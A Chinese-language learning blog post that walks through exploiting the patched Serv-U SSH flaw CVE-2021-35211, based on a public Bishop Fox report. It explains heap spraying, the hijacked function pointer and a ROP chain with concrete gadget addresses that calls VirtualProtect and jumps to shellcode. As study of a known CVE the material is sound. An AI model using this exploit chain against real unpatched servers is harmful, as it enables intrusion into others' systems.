黑客入门 | 用ROP和shellcode攻击SolarWinds Serv-U SSH漏洞
(备注:黑客Hacker并不等同于信息安全罪犯。)
最近花了些时间学习buffer overflow安全漏洞,做了大名鼎鼎的CSAPP课程里的attack lab, 学到了return-oriented programming (ROP) 这种让我大开眼界的进攻方式。于是想要趁热打铁,来详细研究一下现实世界中的黑客进攻案例。
本篇文章挑选的是2021年SolarWinds Serv-U FTP软件中的漏洞,记录编号CVE-2021-35211. 这个漏洞由中国的黑客率先发现,随后微软的信息安全团队也找到了漏洞的根源,并向SolarWinds团队分享了细节,后者迅速地打上了补丁,通知客户们尽快更新系统版本。在此过程中,Bishop Fox(一家资深的信息安全公司)受邀针对这个漏洞开展进攻(强化系统安全性的方法之一就是公开邀请各方来针对性进攻),写了一篇非常细致的攻击报告来介绍具体流程步骤,并公开分享了代码,这实在是不可多得的优质学习资源!我在反复阅读和仔细理解了之后写下本文来记录,同时也参考了另一位博主HackerChai写的进攻报告——看来,每位黑客都有自己的攻击风格和偏好。
让我们开始吧。
寻找漏洞
对于计算机,我们需要理解一个简单而核心的事实:计算机中的各类数据,图片、文档和音乐,包括代码程序和操作系统内核本身,都是由0和1构成的字节。例如,十六进制数字0x58 (在二进制下为111010)既可以理解为大写字母X, 也可以理解为是CPU指令 pop %rax
(所有程序最终都需要被编译成一连串的CPU指令)。
这个基础事实是许多黑客攻击模式的底层原理——我们向目标服务器发送一些数据,对方误以为这是普普通通的用户信息和日常操作,但那其实是我们精心设计过的CPU指令,在被目标服务器执行的时候,我们便可以成功夺取权限。
那么,这次事故中的安全漏洞是怎么被发现的呢?黑客攻击中的一个十分常见的方式,同时也是在本次攻击运用到的方法,是通过fuzzer来随机生成各式各样的SSH信息发送给服务器,看看能不能触发一些有趣的反应。
我们惊喜地看到,在发送某段特定消息时,服务器会返回access violation/ segmentation fault错误信息,这意味着instruction pointer rip
此时指向了一个无效地址。进一步研究发现,它指向的正是我们所发送的数据,当我们发送文本"AAAABBBB"的时候,程序指针会指向地址 0x4141414142424242
, 一个显然错误的地址。
注意到,这个access violation的报错并不是简单发送一次"AAAABBBB"数据就能够触发的,我们需要将相同的数据连续发送数十次,才有足够大的概率(注意不是百分之百)来触发,这种进攻方式被称为heap spraying, 即向对方的heap内存里大量投放精心设计的数据来增大覆盖面。
由此我们可以发现SolarWinds Serv-U服务器中存在的两个漏洞,第一,程序在执行时并没有initialize初始化它即将访问的内存区域,而这片区域上存放的实际上是黑客发送的定制数据;第二,程序在遇到access violation这个报错时竟然没有终止程序(微软团队推测是为了增加程序的uptime),这一方面导致运维人员没有留意到程序正在遭受进攻,另一方面则方便了黑客持续发送攻击数据,因为不必在每条消息发送导致程序崩溃后重新建立连接。
我们来仔细研究下第一个漏洞,最终触发access violation的代码是 CRYPTO_ctr128_encrypt
函数中的 (*block) (ivec, ecount_buf, key);
void CRYPTO_ctr128_encrypt(const unsigned char *in, unsigned char *out,size_t len, const void *key, unsigned char ivec [16],unsigned char ecount_buf[16], unsigned int *num, block128_f block)
{// something(*block) (ivec, ecount_buf, key);// something
}static int aes_ctr_cipher(EVP_CIPHER_CTX *ctx, unsigned char *out, const unsigned char *in, size_t len)
{unsigned int num = ctx-›num;EVP_AES_KEY *dat = (EVP_AES_KEY *) ctx-›cipher_data;if (dat-›stream.ctr)CRYPTO_ctr128_encrypt_ctr32(in, out, len, &dat->ks, ctx-›iv, ctx-›buf, &num, dat-›stream. ctr);elseCRYPTO_ctr128_encrypt(in, out, len, &dat-›ks, ctx-›iv, ctx-›buf, &num, dat-›block);ctx-›num = (size_t)num;return
}
而这个 block
是一个函数指针:
typedef void (*block128_f) (const unsigned char in[16], unsigned char out [16], const void *key);typedet struct {union {double align;AES_KEY ks;} ks;block128_f block;union {cbc128_f cbc;ctr128_f ctr;} stream;
} EVP_AES_KEY;
在正常情况下,变量 cipher_data
初始化之后, cipher_data->block
会指向一个预设好的安全地址,但是当我们在发送的SSH信息中将AES key设为null的时候,cipher_data
的初始化会被直接跳过(可以阅读微软的报告来了解详细的逻辑)。通过使用debugger发现,cipher_data
的大小为0x108 bytes, 而 block
位于距离起始点0xf8的位置。
策划攻击
现在,我们有了重大突破口,通过发送payload大小为0x108 bytes的SSH信息,引导 block
这个函数指针按照我们的意愿去访问某个特定的地址。
若是在计算机发展的早期,这类进攻将会十分简单,我们只需要将我们写的程序(最常见的是打开一个shell, 因为这样我们后续可以执行任意命令)注入到目标服务器的内存中,然后让 block
去调用执行即可,但在现如今,这样简单的逻辑不再管用,因为用户发送过来的数据在默认情况下是non-executable不可执行的(计算机内存中的所有数据/字节都有三类权限,readable/writable/executable, 即读取/写入/执行,read-only的情况居多)。
这个时候就轮到天才的ROP攻击 (return-oriented programming)登场了 ,它最大的优势在于,它不需要注入黑客的代码来开展攻击,它利用的是目标服务器中程序已有的函数,把原本安全无害的业务逻辑代码转成进攻的武器。
让我来搬运一段维基百科的介绍:
In this technique, an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine’s memory, called “gadgets”. Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code.
举个例子介绍一下gadget的模样,假设某个业务逻辑函数所对应的汇编代码如下:
0000000000400f10 <my_function>:400f10: b8 90 44 60 00 mov $0x604490,%eax400f15: 55 push %rbp400f16: 48 2d 90 44 60 00 sub $0x604490,%rax400f1c: 48 c1 f8 03 sar $0x3,%rax400f20: 48 89 e5 mov %rsp,%rbp400f23: 48 89 c2 mov %rax,%rdx400f26: 48 c1 ea 3f shr $0x3f,%rdx400f2a: 48 01 d0 add %rdx,%rax400f2d: 48 d1 f8 sar %rax400f30: 75 02 jne 400f34 <my_function+0x24>400f32: 5d pop %rbp400f33: c3 ret
在正常情况下,程序会从地址 400f10
开始不断向前推进,直到执行到最后一个指令ret
返回到上一层函数。但如果我们能够诱骗程序跳过开头,直接从地址400f32
开始运行,那么它便会只执行 pop %rbp
和 ret
这两个指令。如果我们可以自定义stack内存中的内容,我们就可以通过pop %rbp
来把任意长度8 bytes的数据放入到register %rbp
中,再通过 ret
指令跳转到下一个ROP gadget的地址,从而形成一个ROP chain来执行一连串的强盗操作。
当然,%rbp
这个register的价值不大,但如果我们继续搜索,找到类似于 pop %rdi; ret
, pop %rsi; ret
甚至 syscall; ret
这样的ROP gadget的话,那我们可以制造的杀伤可就大多了。
坏消息是,漂亮实用的ROP gadget通常不多,像 xchg %rsp, %rax; ret
这样完美的(它可以实现stack pivot, 将stack指针朝向我们想要的任意地址)更是罕见。好消息是,当目标服务器里中的程序规模足够大,函数数量足够多时,我们总能找到些虽然不完美但却足够能用的东西。
注意到,通常实际攻击中不会纯粹只使用ROP这一种方法,而是将它作为开启大门的第一步,将特定内存区域设置为executable, 从而允许我们接下来执行注入的shellcode代码。本文中的进攻采用的也是这种模式。
本次完整的攻击流程如下,即我们向目标服务器发送的SSH信息(包含ROP chain和shellcode程序)需要完成下列目标:
- 将函数指针
block
指向第一个ROP gadget, 实现stack pivot, 从而将stack pointerrsp
指向我们的ROP chain的初始位置。这里比较有挑战的是,我们只能使用一个ROP gadget来启动。 - ROP chain需要想办法调用系统函数
VirtualProtect
来关闭对于shellcode程序所在内存区域的保护,从而使得shellcode可以执行。 - 最后运行一个ROP gadget, 再做一次stack pivot, 将
rsp
指向shellcode, 这样一来我们就可以成功运行shell了! - 挥一挥衣袖,清理痕迹。
让我们开始进攻吧。
开展攻击
通常而言,设计ROP的第一步是要搞定ASLR (Address Space Layout Randomization), 每次程序运行时,内部的函数都会被分配到不同于上一轮的随机地址,这样一来黑客们就难以定位到特定的某个函数。这个功能是默认开启的,但好消息(对于黑客而言)是,SolarWinds把它关闭了——我至今不明白开发人员究竟是出于什么理由。
现在,我们需要进行stack pivot来让stack指针指向我们的payload, 第二个好消息来了,payload就保存在register rbp
里面,所以我们只需要找到一个能够将 rsp
修改为 rbp
的ROP gadget即可,最好是能直接做到 mov %rsp, %rbp
, 不过我们不能这么贪心,因为在着手ROP进攻时往往遇不到最完美的ROP gadget, 这是纯粹看运气的事情。
mov %rsp, %rbp
果然不存在,但是好在我们有 mov %rsp, %r11
这个备选方案,恰好 rbp
和 r11
的数值相互挨着,只隔了16 bytes, 所以我们后续的ROP chain在开头16 bytes留白即可。
接下来,我们需要想办法调用系统函数 VirtualProtect
, 最理想的情况是Serv-U的程序import了这个函数,存放在内存中,可惜这没有发生。但是没关系,我们可以通过调用native Windows函数来实现这点: GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "VirtualProtect")
, 不过要费些周章。
好消息是,函数GetModuleHandleW
和GetProcAddress
已经被import到程序中了,调用 GetModuleHandleW(L"kernel32.dll")
的指令如下:
pop rcx # We place the value 0x180313230 (address of kernel32 string) on the stack to be popped into rcx
pop rax # We place the value 0x1801c92c8 (address of GetModuleHandleW trampoline) on the stack to be popped into rax
jmp [rax] # Dereference rax and jump to the resulting address, which is the real address of GetModuleHandleW
mov rcx, rax # Save the returned handle in rcx for later
而为了实现调用 GetModuleHandleW
, 我们需要手动把尚不存在的字符串 "VirtualProtect\x00\x00"
输入到内存中:
# Write "VirtualProtect\x00\x00" (16 bytes) to an unused address in .data
# Split the task so that two 8-byte chunks are written consecutively.pop rdx # An unused address 0x1803f2a80 in Serv-U's data segment gets popped into rdx.
pop rax # Pop the value 0x506c617574726956 ("VirtualP" little-endian) off the stack.
mov [rdx], rax # Write "VirtualP" to the first 8 bytes of our .data memory chunk.pop rdx # Pop the address of the next 8 bytes of .data memory into rdx.
pop rax # Pop 0x0000746365746f72 ("rotect\x00\x00") off the stack into the rax register.
mov [rdx], rax # Append "rotect\x00\x00" to our memory chunk, making a complete "VirtualProtect\x00\x00" string.
可以观察到,上述操作只使用了3个ROP gadget(它们各自所在的内存地址如下),并且使用了两遍,因为每次只能将8 bytes数据放到内存中,而字符串"VirtualProtect\x00\x00"
有16 bytes.
ROP_pop_rdx = 0x180085223
ROP_pop_rax = 0x180037f84
ROP_mov_ptr_rdx_rax = 0x180050e84
为了实际展示ROP的优雅,我们来看一下这段操作所对应的ROP chain的具体构成,我将每8 bytes分隔开来方便阅读:
0x0000000180085223 | 0x00000001803f2a80 | 0x0000000180037f84 | 0x506c617574726956 | 0x0000000180050e84
0x0000000180085223 | 0x00000001803f2a88 | 0x0000000180037f84 | 0x0000746365746f72 | 0x0000000180050e84
漂亮,相当漂亮。这里一共用了80 bytes, 成功地把字符串"VirtualProtect\x00\x00"
放到了内存地址0x1803f2a80
中。
现在,我们终于有了系统函数 VirtualProtect
来解除executable保护
BOOL VirtualProtect([in] LPVOID lpAddress, # Starting address of memory to make executable (rounded down to nearest 4k page boundary).[in] SIZE_T dwSize, # Number of bytes to make executable (rounded up to nearest 4k page boundary).[in] DWORD flNewProtect, # Protection flags. In this case 0x40 = RWX.[out] PDWORD lpflOldProtect # Return results in this variable. Must be a writable memory address!
);
而为了调用这个函数,我们还需要提供相应的四个参数,要把我们所需要的数值放到对应的register里面(注意到Windows系统和Linux系统的一个不同:后者使用 rdi
, rsi
, rdx
, rcx
来对应函数的前四个参数)
rcx = Address of our payload buffer (i.e. the current stack address)
rdx = 0x2000 (8kB or two 4k memory pages)
r8 = 0x40 (readable, writable, executable)
r9 = Address from .data segment of Serv-U
下列是所需要用到的6个ROP gadget以及它们所处的内存地址。
ROP_push_rbp_pop_rax = 0x18001d80b
ROP_mov_rcx_rax = 0x180050922
ROP_pop_rdx = 0x180085223
ROP_pop_r8 = 0x1800bb739
ROP_pop_rax = 0x180037f84
ROP_xchg_rax_r9 = 0x180048d6f
注意到这里有个小插曲,Serv-U程序里并没有直接实现 pop %r9
的ROP gadget, 为此我们要先用 pop %rax
这个gadget, 再用另一个gadget xchg %rax, %r9
来交换两个register的取值。这又一次展现了ROP黑客们的日常哲学:有什么材料就用什么材料,绝不抱怨。
现在我们终于将stack指针拨动到我们的shellcode了!调用最后一个ROP gadget jmp %rax
即可(这里省略了将shellcode所在地址存入到 rax
中的过程)。至此,我们终于可以在Serv-U的服务器里为所欲为(嘿嘿我指的是悄悄打印一下"Hello World")啦!
大功告成!
Post-Exploitation
上面这一系列操作里还遗漏了一个环节——将stack pointer rsp
复原到我们开展攻击前的位置,不然在我们退出shellcode的时候 rsp
会继续顺势移动,指向shellcode之后的下一个地址,指向我们SSH payload的末端,指向一块没有数据的地方,显然会触发access violation报错。优雅的黑客应该优雅地离开,让程序顺利安全地返还,以避免留下痕迹。不过在这个例子中,这倒是没那么重要,因为在一开始发送大量的fuzzed messages来试图触发程序漏洞时,我们就已经留下大量的access violations了,最后退出程序时再添加一个,显得没那么紧要。不过,好的黑客还是要养成好的习惯,Bishop Fox的作者在文章和代码里也实现了这个操作。
最后再补充些思考:
-
在内存中,stack和heap是两片不同的区域,在本次攻击中,我们所发送的数据暂存在heap中,而当我们挪动stack pointer
rsp
指向了我们的数据时,这片内存区域既是heap也是stack, 这一点很有意思。 -
作者用了64次heap spraying来做进攻准备——每次发送0x108 bytes(即
cipher_data
变量的大小)——让对方的程序误以为某块heap数据是free可以使用的,但其实那里面藏着作者精心定制的第一个ROP gadget地址。 -
实际进攻要比文章所说的要麻烦得多,因为目标代码不是开源的,哪怕使用disassembler得到的也是一团没有注释没有函数名的内容,我们还需要花好些时间来做reverse engineering
-
__int64 __fastcall sub_18015FF40(__int64 a1) {__int64 result;if ( (*(_BYTE *)(a1 + 8) & 1) != 0 ){result = *(_QWORD *)(a1 + 2232);if ( result )result = ((__int64 (__fastcall *)())result)();}return result; }
-
-
SolarWinds官方表示 The vulnerability exists in the latest Serv-U version 15.2.3 HF1 released May 5, 2021, and all prior versions 没想到这个漏洞竟然一直存在了这么多年。
-
作为开发人员在写unit test的时候得多考虑考虑极端情况,这份程序中的SSH parser显然没有预想到,用户会发送如此奇怪的payload, 从而导致整个
cipher_data
的初始化流程被跳过了。
整体来看,这次漏洞攻击的工作量不小,做黑客可真是需要熟练和耐心呀。
Well, nobody said attacking a system is easy 😃
可是,这实在是太有意思了!